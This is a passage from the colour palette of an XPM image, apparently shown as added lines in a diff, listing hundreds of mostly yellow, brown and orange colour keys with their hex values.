#D7D789", +"i5 c #DBD988", +"j5 c #DCDA88", +"k5 c #E0DD87", +"l5 c #FFFB95", +"m5 c #8E8C55", +"n5 c #A99E96", +"o5 c #FFFADD", +"p5 c #FCF3D9", +"q5 c #D1C5B7", +"r5 c #363521", +"s5 c #636033", +"t5 c #635F29", +"u5 c #8C856E", +"v5 c #FFFEF4", +"w5 c #F4E9DA", +"x5 c #FFFAE7", +"y5 c #D7CCBB", +"z5 c #48443D", +"A5 c #CCC0B3", +"B5 c #EFE1CC", +"C5 c #EEDFCC", +"D5 c #EDDEC6", +"E5 c #E7D7BD", +"F5 c #F5E0BB", +"G5 c #FFE8B7", +"H5 c #756750", +"I5 c #292512", +"J5 c #675C36", +"K5 c #7F724C", +"L5 c #8B7B65", +"M5 c #DDD375", +"N5 c #EAE175", +"O5 c #F7F070", +"P5 c #CDBF6F", +"Q5 c #A48C6E", +"R5 c #C1A46C", +"S5 c #D4B26B", +"T5 c #DDB66A", +"U5 c #E5BA68", +"V5 c #E9BC67", +"W5 c #EABC66", +"X5 c #EBBB64", +"Y5 c #EBB962", +"Z5 c #E9B661", +"`5 c #E2B15F", +" 6 c #D8AA5E", +".6 c #CEA25C", +"+6 c #B8885A", +"@6 c #EFE05D", +"#6 c #EFD657", +"$6 c #AA5823", +"%6 c #693412", +"&6 c #FFE24B", +"*6 c #F7FF55", +"=6 c #F6FE52", +"-6 c #F6FE55", +";6 c #F6FE5A", +">6 c #F6FE5C", +",6 c #F6FE5D", +"'6 c #F5FD5E", +")6 c #F2FA60", +"!6 c #EEF562", +"~6 c #E8F063", +"{6 c #E3EA65", +"]6 c #D9E066", +"^6 c #CBD467", +"/6 c #DDE068", +"(6 c #FAF56A", +"_6 c #FAF56B", +":6 c #E5E66C", +"<6 c #D2D66E", +"[6 c #CBD26F", +"}6 c #CFD670", +"|6 c #DDE576", +"16 c #B4BD55", +"26 c #9F9776", +"36 c #FFF2DF", +"46 c #F1E7D7", +"56 c #F5ECE0", +"66 c #F4ECDE", +"76 c #8A8376", +"86 c #2B2F0B", +"96 c #767A3F", +"06 c #ACB15B", +"a6 c #E1E878", +"b6 c #FDFF8E", +"c6 c #C3CB5F", +"d6 c #7A7464", +"e6 c #FCF4EB", +"f6 c #F7EBD4", +"g6 c #857F71", +"h6 c #31340E", +"i6 c #737442", +"j6 c #A1A25D", +"k6 c #D5D57C", +"l6 c #FBF686", +"m6 c #EDE886", +"n6 c #DAD784", +"o6 c #D9D685", +"p6 c #DAD785", +"q6 c #F8F390", +"r6 c #8D8A56", +"s6 c #AFA399", +"t6 c #FFF5D9", +"u6 c #FFFFEB", +"v6 c #948C81", +"w6 c #212108", +"x6 c #807B4A", +"y6 c #827D39", +"z6 c #928B70", +"A6 c #FFFBF6", +"B6 c #F6EDDF", +"C6 c #F4E9DC", +"D6 c #FFF7E8", +"E6 c #FFFCEB", +"F6 c #EFE2D1", +"G6 c #F0E3D1", +"H6 c #EFE1CD", +"I6 c #FAE5BF", +"J6 c #FFE6B7", +"K6 c #6E624C", +"L6 c #26230F", +"M6 c #675B34", +"N6 c #87794B", +"O6 c #958263", +"P6 c #BEAF73", +"Q6 c #FFFB74", +"R6 c #E3DC6F", +"S6 c #B4A46E", +"T6 c #A9906D", +"U6 c #C4A76B", +"V6 c #D5B46A", +"W6 c #DEB769", +"X6 c #E5BA67", +"Y6 c #E9BD66", +"Z6 c #EABD64", +"`6 c #EBBA63", +" 7 c #EBBA62", +".7 c #EAB760", +"+7 c #E7B35F", +"@7 c #DFAE5D", +"#7 c #D5A75C", +"$7 c #C89A5A", +"%7 c #BF9359", +"&7 c #FBF35A", +"*7 c #DEB956", +"=7 c #B15D23", +"-7 c #6C3613", +";7 c #FFE249", +">7 c #F7FF53", +",7 c #F5FE51", +"'7 c #F5FE59", +")7 c #F3FC5B", +"!7 c #F1F95D", +"~7 c #ECF45E", +"{7 c #E6ED60", +"]7 c #E0E661", +"^7 c #D1DA63", +"/7 c #CCD364", +"(7 c #EDEB65", +"_7 c #FFFA67", +":7 c #E7E768", +"<7 c #CDD369", +"[7 c #CCD46A", +"}7 c #D6DD6B", +"|7 c #DDE36D", +"17 c #E0E66E", +"27 c #FCFF7B", +"37 c #99A044", +"47 c #998D81", +"57 c #F3E9DA", +"67 c #F6EDE0", +"77 c #FFFDEB", +"87 c #726D5B", +"97 c #3B4111", +"07 c #808440", +"a7 c #BFC561", +"b7 c #F1F87B", +"c7 c #FFFF82", +"d7 c #7E7F46", +"e7 c #C6B7B9", +"f7 c #DACFC2", +"g7 c #3B3B24", +"h7 c #5B5C2C", +"i7 c #838349", +"j7 c #C3C36D", +"k7 c #E2E181", +"l7 c #E9E683", +"m7 c #F8F182", +"n7 c #F2EE82", +"o7 c #F0EB82", +"p7 c #ECE883", +"q7 c #A39F53", +"r7 c #A3988F", +"s7 c #FFFCDF", +"t7 c #FDF5D9", +"u7 c #CCC2B4", +"v7 c #292814", +"w7 c #424011", +"x7 c #484421", +"y7 c #BDB9B2", +"z7 c #FFFEFA", +"A7 c #F9F0E3", +"B7 c #FCF2E5", +"C7 c #F3E8DA", +"D7 c #F2E6D6", +"E7 c #EEE0C9", +"F7 c #E8D7BD", +"G7 c #FFEBC3", +"H7 c #FBE3B5", +"I7 c #625744", +"J7 c #28240E", +"K7 c #6D6136", +"L7 c #8D7D4B", +"M7 c #A38E62", +"N7 c #B9A572", +"O7 c #FEF974", +"P7 c #F2EF6F", +"Q7 c #C7BC6E", +"R7 c #A08D6D", +"S7 c #AB926C", +"T7 c #CAAC6B", +"U7 c #D7B56A", +"V7 c #DFB868", +"W7 c #E5BB67", +"X7 c #E9BC66", +"Y7 c #EBBD64", +"Z7 c #EBBB63", +"`7 c #EBB961", +" 8 c #EAB860", +".8 c #E7B55E", +"+8 c #E2B05D", +"@8 c #D9A95C", +"#8 c #D0A35A", +"$8 c #B88659", +"%8 c #DBBF57", +"&8 c #FFF959", +"*8 c #C59154", +"=8 c #BC6A24", +"-8 c #6F3713", +";8 c #4F211E", +">8 c #CC6720", +",8 c #FFE248", +"'8 c #F7FF51", +")8 c #F5FE4F", +"!8 c #F5FE50", +"~8 c #F6FE53", +"{8 c #F5FE56", +"]8 c #F3FC58", +"^8 c #F0F959", +"/8 c #EBF25B", +"(8 c #E4EC5C", +"_8 c #DCE25E", +":8 c #CBD35F", +"<8 c #D3D761", +"[8 c #F9F462", +"}8 c #FBF563", +"|8 c #D5DA65", +"18 c #CBD365", +"28 c #D7DE67", +"38 c #DFE568", +"48 c #E3E969", +"58 c #E6ED6B", +"68 c #989B48", +"78 c #B5A49E", +"88 c #FFF7E0", +"98 c #FBEFE0", +"08 c #F5E6D8", +"a8 c #636044", +"b8 c #52581C", +"c8 c #8B9044", +"d8 c #CDD265", +"e8 c #B9C04D", +"f8 c #8D847D", +"g8 c #F0E1CA", +"h8 c #837D6F", +"i8 c #2A2D09", +"j8 c #71713F", +"k8 c #A1A158", +"l8 c #DDDC78", +"m8 c #EFEC82", +"n8 c #E5E380", +"o8 c #E2DE7F", +"p8 c #E8E580", +"q8 c #F0EA80", +"r8 c #EFEA80", +"s8 c #F2EE87", +"t8 c #BBB75F", +"u8 c #9C937F", +"v8 c #A29A89", +"w8 c #645F53", +"x8 c #B9B2AC", +"y8 c #FFFCF5", +"z8 c #F7EEE2", +"A8 c #F7EFE4", +"B8 c #F7EFE5", +"C8 c #F7EEE3", +"D8 c #F1E5D5", +"E8 c #FFF3CA", +"F8 c #EAD4AA", +"G8 c #4F4636", +"H8 c #2D2911", +"I8 c #74673A", +"J8 c #92814D", +"K8 c #AA9463", +"L8 c #C5AE71", +"M8 c #FFF973", +"N8 c #E9E26F", +"O8 c #CDC16E", +"P8 c #AD9A6D", +"Q8 c #A58D6C", +"R8 c #BFA36B", +"S8 c #D0B16A", +"T8 c #D9B769", +"U8 c #E2BA67", +"V8 c #E7BC66", +"W8 c #EABD65", +"X8 c #ECBD64", +"Y8 c #EBBC62", +"Z8 c #E9B85F", +"`8 c #E7B45E", +" 9 c #E2B05C", +".9 c #DAAA5B", +"+9 c #D1A459", +"@9 c #C19458", +"#9 c #B88B57", +"$9 c #FFFC55", +"%9 c #E1CA57", +"&9 c #BF8353", +"*9 c #C57225", +"=9 c #723914", +"-9 c #FFE247", +";9 c #F6FF4F", +">9 c #F5FE4D", +",9 c #F5FE4E", +"'9 c #F5FE53", +")9 c #F3FD54", +"!9 c #F0F956", +"~9 c #EBF357", +"{9 c #E3EA59", +"]9 c #D9E05A", +"^9 c #C7D05C", +"/9 c #DADC5D", +"(9 c #FFFB5E", +"_9 c #EFEC60", +":9 c #CBD161", +"<9 c #CFD763", +"[9 c #DDE464", +"}9 c #E3E965", +"|9 c #E8EF66", +"19 c #EDF367", +"29 c #F0F768", +"39 c #F3FB6A", +"49 c #F9FF61", +"59 c #A7A55E", +"69 c #DCC9C3", +"79 c #F7EAD7", +"89 c #FFF8E5", +"99 c #DED1C4", +"09 c #51512E", +"a9 c #646928", +"b9 c #989D4A", +"c9 c #DFE56D", +"d9 c #F6FB6E", +"e9 c #848351", +"f9 c #DDCFCE", +"g9 c #F9F0D8", +"h9 c #FEFAE2", +"i9 c #DFD2C3", +"j9 c #403E24", +"k9 c #5A5B2A", +"l9 c #7E7E45", +"m9 c #C1C067", +"n9 c #ECEA7D", +"o9 c #F2EE7F", +"p9 c #ECE97D", +"q9 c #E7E47D", +"r9 c #E3DE7D", +"s9 c #DED97E", +"t9 c #DBD57E", +"u9 c #DCD57E", +"v9 c #EAE37F", +"w9 c #7C774F", +"x9 c #CFBEB6", +"y9 c #FFF6D5", +"z9 c #EBDDC2", +"A9 c #FFF8E2", +"B9 c #F6ECDE", +"C9 c #F7F0E6", +"D9 c #F3E7D7", +"E9 c #EEE0CD", +"F9 c #F6E5CA", +"G9 c #FFFAD0", +"H9 c #C6B391", +"I9 c #393324", +"J9 c #322D14", +"K9 c #786B3E", +"L9 c #8E7D50", +"M9 c #AD9664", +"N9 c #DAC870", +"O9 c #F8ED72", +"P9 c #DED170", +"Q9 c #C1AD6E", +"R9 c #B09A6D", +"S9 c #AA926C", +"T9 c #BAA16B", +"U9 c #CAAE6A", +"V9 c #D2B269", +"W9 c #DBB868", +"X9 c #E2BB66", +"Y9 c #E7BC65", +"Z9 c #E9BC64", +"`9 c #EABC63", +" 0 c #E9BB62", +".0 c #E8B960", +"+0 c #E6B55F", +"@0 c #E3B35D", +"#0 c #DEAE5C", +"$0 c #D8A95B", +"%0 c #D0A459", +"&0 c #C49957", +"*0 c #AE7C56", +"=0 c #E9D655", +"-0 c #FCF353", +";0 c #B98B55", +">0 c #CF9651", +",0 c #CC7526", +"'0 c #753B15", +")0 c #FFE246", +"!0 c #F6FF4D", +"~0 c #F4FE4B", +"{0 c #F3FD51", +"]0 c #F0F952", +"^0 c #EAF354", +"/0 c #E2EA55", +"(0 c #D7DE57", +"_0 c #C2CC58", +":0 c #E1E15A", +"<0 c #FFFE5B", +"[0 c #DEDF5C", +"}0 c #C5CE5D", +"|0 c #D4DC5F", +"10 c #E1E760", +"20 c #E6EE62", +"30 c #ECF362", +"40 c #F0F864", +"50 c #F3FB65", +"60 c #F5FD66", +"70 c #FCFF6A", +"80 c #E2EF51", +"90 c #A69F6E", +"00 c #F5E0D6", +"a0 c #FFFFF0", +"b0 c #B9AFA0", +"c0 c #3C3F15", +"d0 c #737733", +"e0 c #A5A94E", +"f0 c #B4BB4A", +"g0 c #9F9490", +"h0 c #817B6C", +"i0 c #343509", +"j0 c #706F3C", +"k0 c #9D9C54", +"l0 c #DAD772", +"m0 c #F2EE7C", +"n0 c #F1EE7B", +"o0 c #EEEB7A", +"p0 c #EAE67B", +"q0 c #E7E17B", +"r0 c #E3DD7B", +"s0 c #E0DA7B", +"t0 c #DED67A", +"u0 c #EFE685", +"v0 c #B8B260", +"w0 c #686053", +"x0 c #EADCCC", +"y0 c #FFFFDC", +"z0 c #F2E3C8", +"A0 c #F1E4CF", +"B0 c #F2E6D7", +"C0 c #F6EDE2", +"D0 c #F1E3D1", +"E0 c #FFFBDC", +"F0 c #FFECC7", +"G0 c #887C63", +"H0 c #242113", +"I0 c #403A1F", +"J0 c #746844", +"K0 c #847354", +"L0 c #B9A767", +"M0 c #F0E470", +"N0 c #F4E971", +"O0 c #C8B66E", +"P0 c #AD956D", +"Q0 c #B39C6C", +"R0 c #BCA46B", +"S0 c #C3A96A", +"T0 c #C9AD68", +"U0 c #CFB067", +"V0 c #D5B466", +"W0 c #DBB765", +"X0 c #E0B864", +"Y0 c #E1B763", +"Z0 c #E2B761", +"`0 c #E1B560", +" a c #DFB45F", +".a c #DDB05E", +"+a c #DAAD5D", +"@a c #D6AA5B", +"#a c #D2A65A", +"$a c #CDA258", +"%a c #BF9257", +"&a c #AE7D56", +"*a c #DAC254", +"=a c #FFFF52", +"-a c #C7A051", +";a c #BC8952", +">a c #D89E4F", +",a c #D37927", +"'a c #783D16", +")a c #FFE144", +"!a c #F6FF4B", +"~a c #F4FE49", +"{a c #F4FF4B", +"]a c #F4FE4C", +"^a c #F4FE4D", +"/a c #F1FA4F", +"(a c #EBF450", +"_a c #E2EA52", +":a c #D8E053", +"b c #CAA059", +",b c #C29758", +"'b c #B28256", +")b c #B58955", +"!b c #E7D753", +"~b c #D6B851", +"{b c #B67F4F", +"]b c #CE9C50", +"^b c #DD9F4E", +"/b c #D97C28", +"(b c #7B3E16", +"_b c #FFDF43", +":b c #F5FF49", +"c c #CAA25D", +",c c #C79F5C", +"'c c #C49B5B", +")c c #BD935A", +"!c c #B68B58", +"~c c #B48957", +"{c c #BB9356", +"]c c #D4BB54", +"^c c #FAF553", +"/c c #F9F352", +"(c c #CAA750", +"_c c #B5804F", +":c c #CB974D", +"d c #EDE367", +",d c #EBE066", +"'d c #E3D965", +")d c #DED264", +"!d c #CCBE63", +"~d c #CAB962", +"{d c #C8B561", +"]d c #C7B060", +"^d c #CCB25F", +"/d c #C8AB5D", +"(d c #C5A45C", +"_d c #C3A05B", +":d c #C5A35A", +"e c #9A934D", +",e c #DED566", +"'e c #FFFF6B", +")e c #FFFF69", +"!e c #FDF668", +"~e c #F3EB67", +"{e c #F8F066", +"]e c #FFF865", +"^e c #FFFF64", +"/e c #FFFF63", +"(e c #FFFF62", +"_e c #FFFE61", +":e c #FFFF5F", +"f c #F1E3D2", +",f c #FFFBE1", +"'f c #A0947D", +")f c #272210", +"!f c #574D33", +"~f c #6C5F4F", +"{f c #C9BE66", +"]f c #F5F46A", +"^f c #D5CD67", +"/f c #B2A666", +"(f c #9E8F66", +"_f c #A08D65", +":f c #A59264", +"g c #DFD36C", +",g c #DED16C", +"'g c #D4C56B", +")g c #D3C46B", +"!g c #F0E76B", +"~g c #FAF36B", +"{g c #F4EA73", +"]g c #8C8143", +"^g c #A5998F", +"/g c #F1E4D3", +"(g c #FFF9DF", +"_g c #A0937B", +":g c #2D280F", +"h c #F0E969", +",h c #E7E068", +"'h c #BCB668", +")h c #CEC768", +"!h c #F7EF69", +"~h c #E0D769", +"{h c #D5CB69", +"]h c #E1D569", +"^h c #E2D569", +"/h c #E4D669", +"(h c #DED069", +"_h c #D2C269", +":h c #DDD069", +"i c #C5B4A1", +",i c #2F2E10", +"'i c #646227", +")i c #88843C", +"!i c #C1BB58", +"~i c #CEC865", +"{i c #DBD466", +"]i c #EAE265", +"^i c #B7B065", +"/i c #EBE366", +"(i c #E4DC66", +"_i c #CCC366", +":i c #E0D466", +"j c #FFFAE9", +",j c #D5C8C2", +"'j c #3C3921", +")j c #57570C", +"!j c #615D3E", +"~j c #EEDED0", +"{j c #F6E6C9", +"]j c #EBDABC", +"^j c #766E5C", +"/j c #313206", +"(j c #726E31", +"_j c #A39E46", +":j c #D3CB5D", +"k c #D6D649", +",k c #DADA4B", +"'k c #DCDC4C", +")k c #D5D64D", +"!k c #E6E34E", +"~k c #F9F251", +"{k c #B5BA37", +"]k c #847B54", +"^k c #F3DCC5", +"/k c #EFE0CB", +"(k c #BDB3AC", +"_k c #414111", +":k c #414203", +"l c #ECE43F", +",l c #8F8E41", +"'l c #9A9A42", +")l c #A9AA43", +"!l c #B4B444", +"~l c #E9E246", +"{l c #E9E347", +"]l c #CDCE47", +"^l c #D7D649", +"/l c #D5D34B", +"(l c #F1EA4C", +"_l c #EAE751", +":l c #A9AB32", +"m c #E7E238", +",m c #D8D339", +"'m c #C6C13A", +")m c #A6A33B", +"!m c #CFC63D", +"~m c #E5DF3F", +"{m c #A4A240", +"]m c #B4B141", +"^m c #E8E043", +"/m c #F1E844", +"(m c #CECA45", +"_m c #D2CF46", +":m c #D5D247", +"n c #E1993A", +",n c #E99A3B", +"'n c #FDD035", +")n c #F1F532", +"!n c #F1E734", +"~n c #F0E834", +"{n c #E8E136", +"]n c #D9D437", +"^n c #CAC538", +"/n c #A9A73A", +"(n c #A8A43A", +"_n c #FFFA3C", +":n c #F7F13D", +"o c #D39B43", +",o c #DC9F42", +"'o c #E09F41", +")o c #E29F40", +"!o c #E39F3D", +"~o c #E39D3C", +"{o c #E39B3B", +"]o c #E29A3C", +"^o c #E39C40", +"/o c #E29E41", +"(o c #EA9C40", +"_o c #CC6A23", +":o c #FCCE34", +"p c #B28348", +",p c #C3A546", +"'p c #FFFF45", +")p c #FFFF44", +"!p c #DAC944", +"~p c #A57A43", +"{p c #AB7842", +"]p c #C99440", +"^p c #D3983F", +"/p c #D99B3F", +"(p c #DF9E40", +"_p c #E2A041", +":p c #E4A244", +"

    Q c #B05320", +",Q c #A0511C", +"'Q c #A2511C", +")Q c #B25621", +"!Q c #422C15", +"~Q c #262100", +"{Q c #735000", +"]Q c #B18500", +"^Q c #D09D00", +"/Q c #D29F00", +"(Q c #CE9C00", +"_Q c #B97C00", +":Q c #E3C600", +"R c #9E4D1C", +",R c #B4541C", +"'R c #7F411F", +")R c #212607", +"!R c #513500", +"~R c #8F6500", +"{R c #C29100", +"]R c #D29E00", +"^R c #CA9400", +"/R c #BC8100", +"(R c #EFDC00", +"_R c #F2E100", +":R c #B67B00", +"S c #333400", +",S c #684000", +"'S c #AA7A00", +")S c #CB9700", +"!S c #C68F00", +"~S c #BD8100", +"{S c #F1DF00", +"]S c #7A4B09", +"^S c #8A492B", +"/S c #C17638", +"(S c #C07E40", +"_S c #C28042", +":S c #C38341", +"T c #BD7033", +",T c #BE7A3B", +"'T c #C07C3E", +")T c #BC783C", +"!T c #BB7134", +"~T c #A75428", +"{T c #4E3D0F", +"]T c #4E4F00", +"^T c #593300", +"/T c #854500", +"(T c #B67200", +"_T c #C07D00", +":T c #C07A00", +"U c #A45A00", +",U c #AA5B00", +"'U c #BA7500", +")U c #BF7900", +"!U c #C07800", +"~U c #C27900", +"{U c #C37A00", +"]U c #C47C00", +"^U c #C67C00", +"/U c #C77C00", +"(U c #CB7C00", +"_U c #D08000", +":U c #D88600", +"V c #F8FF00", +",V c #EEE000", +"'V c #B87D00", +")V c #A25000", +"!V c #AC5B00", +"~V c #BB7200", +"{V c #C17900", +"]V c #C27A00", +"^V c #C57D00", +"/V c #C97E00", +"(V c #D18300", +"_V c #D88800", +":V c #DB8A00", +"W c #D58600", +",W c #DA8A00", +"'W c #DD8B00", +")W c #E08A00", +"!W c #E18B00", +"~W c #E18C00", +"{W c #E08500", +"]W c #E08400", +"^W c #E08300", +"/W c #DE7B00", +"(W c #DD7800", +"_W c #E57B05", +":W c #5F2E1A", +"X c #DC7700", +",X c #E67A05", +"'X c #7D431D", +")X c #5D2D1A", +"!X c #B96422", +"~X c #D89510", +"{X c #B78500", +"]X c #F2E200", +"^X c #ECD900", +"/X c #AD7400", +"(X c #C39200", +"_X c #CB9D00", +":X c #CEA100", +"Y c #E77B05", +",Y c #E48026", +"'Y c #5B2C19", +")Y c #B26122", +"!Y c #C8800F", +"~Y c #D4B400", +"{Y c #BF8F00", +"]Y c #BB8500", +"^Y c #CA9A00", +"/Y c #CE9F00", +"(Y c #CFA100", +"_Y c #CA9B00", +":Y c #B77F00", +"Z c #471826", +",Z c #592B19", +"'Z c #AD5E21", +")Z c #C37C0E", +"!Z c #F1E400", +"~Z c #C89500", +"{Z c #CB9A00", +"]Z c #CE9E00", +"^Z c #B27700", +"/Z c #FDFA00", +"(Z c #DCC300", +"_Z c #BF9000", +":Z c #B37D00", +"` c #B87F00", +",` c #C38F00", +"'` c #C49100", +")` c #BD8700", +"!` c #BA7800", +"~` c #A27501", +"{` c #432511", +"]` c #82140F", +"^` c #A4360F", +"/` c #9B4115", +"(` c #A04817", +"_` c #A04816", +":` c #983A14", +"<` c #8F2B0F", +"[` c #A6260C", +"}` c #511F13", +"|` c #262304", +"1` c #523000", +"2` c #937500", +"3` c #E9DE00", +"4` c #FEFE00", +"5` c #F2E300", +"6` c #E3C800", +"7` c #D9B800", +"8` c #CFA000", +"9` c #D4AC00", +"0` c #F5EA00", +"a` c #FEFF00", +"b` c #C29000", +"c` c #BF7300", +"d` c #59360C", +"e` c #691312", +"f` c #A13411", +"g` c #9B4016", +"h` c #A04A16", +"i` c #A34715", +"j` c #A32F13", +"k` c #3F0615", +"l` c #374007", +"m` c #C5CE00", +"n` c #E6DE00", +"o` c #C48600", +"p` c #9A5A00", +"q` c #633714", +"r` c #AE511E", +"s` c #B46320", +"t` c #B86921", +"u` c #B76721", +"v` c #B15D1E", +"w` c #B54917", +"x` c #5F2812", +"y` c #2E2303", +"z` c #623B00", +"A` c #A48800", +"B` c #EADC00", +"C` c #EFDB00", +"D` c #D19800", +"E` c #B65D00", +"F` c #B86200", +"G` c #BC6F00", +"H` c #AA4F00", +"I` c #AF5F00", +"J` c #CC9B00", +"K` c #D1A900", +"L` c #AB5A00", +"M` c #9F3800", +"N` c #B65A00", +"O` c #CB7400", +"P` c #D87F00", +"Q` c #DD8100", +"R` c #E07E00", +"S` c #E07B00", +"T` c #DF7B00", +"U` c #E77C05", +"V` c #592B18", +"W` c #AA5821", +"X` c #CB830E", +"Y` c #C89600", +"Z` c #BB8100", +"`` c #BA8500", +" . c #F3E800", +". . c #AC7000", +"+ . c #B47800", +"@ . c #C89700", +"# . c #CD9F00", +"$ . c #D1A400", +"% . c #D3A600", +"& . c #D3A700", +"* . c #CC9D00", +"= . c #C18F00", +"- . c #CE9000", +"; . c #946F05", +"> . c #350D13", +", . c #5C0010", +"' . c #8B1C0D", +") . c #98240C", +"! . c #97200C", +"~ . c #901C0C", +"{ . c #8A190E", +"] . c #5D1414", +"^ . c #25140D", +"/ . c #4C3A00", +"( . c #8C8800", +"_ . c #D4D500", +": . c #EFDF00", +"< . c #DAB700", +"[ . c #BC8000", +"} . c #BE8000", +"| . c #C48800", +"1 . c #C88E00", +"2 . c #C58700", +"3 . c #BD7B00", +"4 . c #BB7900", +"5 . c #F5DA00", +"6 . c #A77C02", +"7 . c #3C0611", +"8 . c #901D0F", +"9 . c #9B3C13", +"0 . c #9E4316", +"a . c #A14B16", +"b . c #A64815", +"c . c #A73414", +"d . c #440A16", +"e . c #212308", +"f . c #AEB000", +"g . c #B09B01", +"h . c #6A2F17", +"i . c #BB581D", +"j . c #B6651E", +"k . c #B9691F", +"l . c #B6651F", +"m . c #AF5A1B", +"n . c #B14415", +"o . c #552212", +"p . c #373103", +"q . c #6B4600", +"r . c #C17800", +"s . c #ECD600", +"t . c #CC8C00", +"u . c #B96100", +"v . c #B25A00", +"w . c #A64500", +"x . c #A54A00", +"y . c #BE8100", +"z . c #F6EF00", +"A . c #FCFC00", +"B . c #C69200", +"C . c #A04400", +"D . c #A13A00", +"E . c #BB6200", +"F . c #C66F00", +"G . c #CF7400", +"H . c #E07D00", +"I . c #E07C00", +"J . c #DF7900", +"K . c #E87C05", +"L . c #592A18", +"M . c #AB5522", +"N . c #F2C90F", +"O . c #C68E00", +"P . c #C89300", +"Q . c #C38D00", +"R . c #B17200", +"S . c #EDDB00", +"T . c #F6EE00", +"U . c #B37700", +"V . c #B87C00", +"W . c #CC9A00", +"X . c #D4A400", +"Y . c #DBAC00", +"Z . c #DEAF00", +"` . c #E0B100", +" .. c #DEB000", +"... c #D7A900", +"+.. c #CD9B00", +"@.. c #C18D00", +"#.. c #C17600", +"$.. c #AB8D03", +"%.. c #8E8D0C", +"&.. c #5B260D", +"*.. c #4D1410", +"=.. c #4D1610", +"-.. c #51210F", +";.. c #4F270C", +">.. c #382709", +",.. c #726D00", +"'.. c #A9A900", +").. c #B3A300", +"!.. c #BA7C00", +"~.. c #BF7F00", +"{.. c #C98F00", +"].. c #D09B00", +"^.. c #D4A000", +"/.. c #D6A200", +"(.. c #D8A400", +"_.. c #D7A400", +":.. c #D49F00", +"<.. c #CF9700", +"[.. c #BA7400", +"}.. c #CEA000", +"|.. c #F5EF00", +"1.. c #8A7D08", +"2.. c #430011", +"3.. c #A32D0D", +"4.. c #9B3F13", +"5.. c #A14515", +"6.. c #A54F15", +"7.. c #AC5114", +"8.. c #B34715", +"9.. c #581818", +"0.. c #0F050B", +"a.. c #948400", +"b.. c #B6B802", +"c.. c #874C19", +"d.. c #C4651A", +"e.. c #B8661D", +"f.. c #BA681E", +"g.. c #B6631C", +"h.. c #AD5619", +"i.. c #A93D12", +"j.. c #4F2011", +"k.. c #3C3403", +"l.. c #714C00", +"m.. c #A56E00", +"n.. c #CB7F00", +"o.. c #C66B00", +"p.. c #CB8000", +"q.. c #E6C300", +"r.. c #F3E500", +"s.. c #CD8B00", +"t.. c #BA5D00", +"u.. c #BA5C00", +"v.. c #BF6C00", +"w.. c #BF6E00", +"x.. c #BD6B00", +"y.. c #B75F00", +"z.. c #A43D00", +"A.. c #A84E00", +"B.. c #CB9B00", +"C.. c #B67600", +"D.. c #983500", +"E.. c #AA4600", +"F.. c #C26900", +"G.. c #CC7100", +"H.. c #E17E00", +"I.. c #E17D00", +"J.. c #E07A00", +"K.. c #E07800", +"L.. c #E87B05", +"M.. c #5A2A19", +"N.. c #B86423", +"O.. c #F7C910", +"P.. c #CF9A00", +"Q.. c #B57500", +"R.. c #CEA400", +"S.. c #B47300", +"T.. c #D6A600", +"U.. c #DFB100", +"V.. c #E8B500", +"W.. c #E9B500", +"X.. c #DDB000", +"Y.. c #C28700", +"Z.. c #B98000", +"`.. c #F8E000", +" +. c #A67601", +".+. c #917404", +"++. c #846E05", +"@+. c #826702", +"#+. c #846000", +"$+. c #C0B400", +"%+. c #D9D800", +"&+. c #B69100", +"*+. c #B07100", +"=+. c #C08100", +"-+. c #CC9300", +";+. c #CF9800", +">+. c #D29B00", +",+. c #D9A600", +"'+. c #DEAD00", +")+. c #DDAA00", +"!+. c #D9A500", +"~+. c #D6A000", +"{+. c #D09500", +"]+. c #E3C500", +"^+. c #6B5B0E", +"/+. c #6A000D", +"(+. c #A03A0F", +"_+. c #9F4313", +":+. c #A44A14", +"<+. c #AD5915", +"[+. c #B45D14", +"}+. c #C55B16", +"|+. c #79351A", +"1+. c #1B0607", +"2+. c #241803", +"3+. c #9E5E1B", +"4+. c #D48022", +"5+. c #C07329", +"6+. c #BA6821", +"7+. c #B45E17", +"8+. c #AB5115", +"9+. c #A33510", +"0+. c #491E0F", +"a+. c #413602", +"b+. c #764F00", +"c+. c #AE7500", +"d+. c #D68F00", +"e+. c #DB9000", +"f+. c #C26700", +"g+. c #CA7D00", +"h+. c #E9C800", +"i+. c #F6EC00", +"j+. c #D59E00", +"k+. c #BB5F00", +"l+. c #BC5D00", +"m+. c #C36F00", +"n+. c #C16D00", +"o+. c #BF6A00", +"p+. c #B35300", +"q+. c #9E3500", +"r+. c #AB5B00", +"s+. c #DABE00", +"t+. c #D8BC00", +"u+. c #A65500", +"v+. c #9C3200", +"w+. c #BC5E00", +"x+. c #CA6E00", +"y+. c #C06825", +"z+. c #E49811", +"A+. c #D7A600", +"B+. c #D7A200", +"C+. c #C78D00", +"D+. c #B16F00", +"E+. c #F4E600", +"F+. c #B06E00", +"G+. c #C88F00", +"H+. c #DFAF00", +"I+. c #EAB600", +"J+. c #E3B300", +"K+. c #DCAE00", +"L+. c #F6EA00", +"M+. c #F5E800", +"N+. c #B57200", +"O+. c #CC8F00", +"P+. c #D79B00", +"Q+. c #D59900", +"R+. c #DBBD00", +"S+. c #C28C00", +"T+. c #B77100", +"U+. c #C78B00", +"V+. c #CE9600", +"W+. c #D09A00", +"X+. c #D39E00", +"Y+. c #D6A300", +"Z+. c #DBA800", +"`+. c #DFAD00", +" @. c #E2B200", +".@. c #E5B500", +"+@. c #E6B500", +"@@. c #E3B000", +"#@. c #DFAA00", +"$@. c #DAA100", +"%@. c #D59A00", +"&@. c #C98600", +"*@. c #B66600", +"=@. c #F0C500", +"-@. c #D8F105", +";@. c #471010", +">@. c #951709", +",@. c #9C3F10", +"'@. c #A44712", +")@. c #AB5414", +"!@. c #B66615", +"~@. c #BB6B14", +"{@. c #D26E16", +"]@. c #8C4819", +"^@. c #291A16", +"/@. c #A95F2B", +"(@. c #D07D3B", +"_@. c #CA8138", +":@. c #C37727", +"<@. c #B56215", +"[@. c #A84B12", +"}@. c #9A2C0F", +"|@. c #421D0E", +"1@. c #443701", +"2@. c #785100", +"3@. c #B47900", +"4@. c #DD9400", +"5@. c #DF9500", +"6@. c #D98F00", +"7@. c #D78A00", +"8@. c #CF7900", +"9@. c #C56700", +"0@. c #E3B900", +"a@. c #F4E800", +"b@. c #F1E100", +"c@. c #CE8900", +"d@. c #BA5300", +"e@. c #C36700", +"f@. c #BD6600", +"g@. c #A94400", +"h@. c #973200", +"i@. c #F8F700", +"j@. c #B97E00", +"k@. c #992E00", +"l@. c #BA5900", +"m@. c #C86C00", +"n@. c #D37300", +"o@. c #E17C00", +"p@. c #DF7800", +"q@. c #E97C05", +"r@. c #5E2D1A", +"s@. c #C56A26", +"t@. c #EFA511", +"u@. 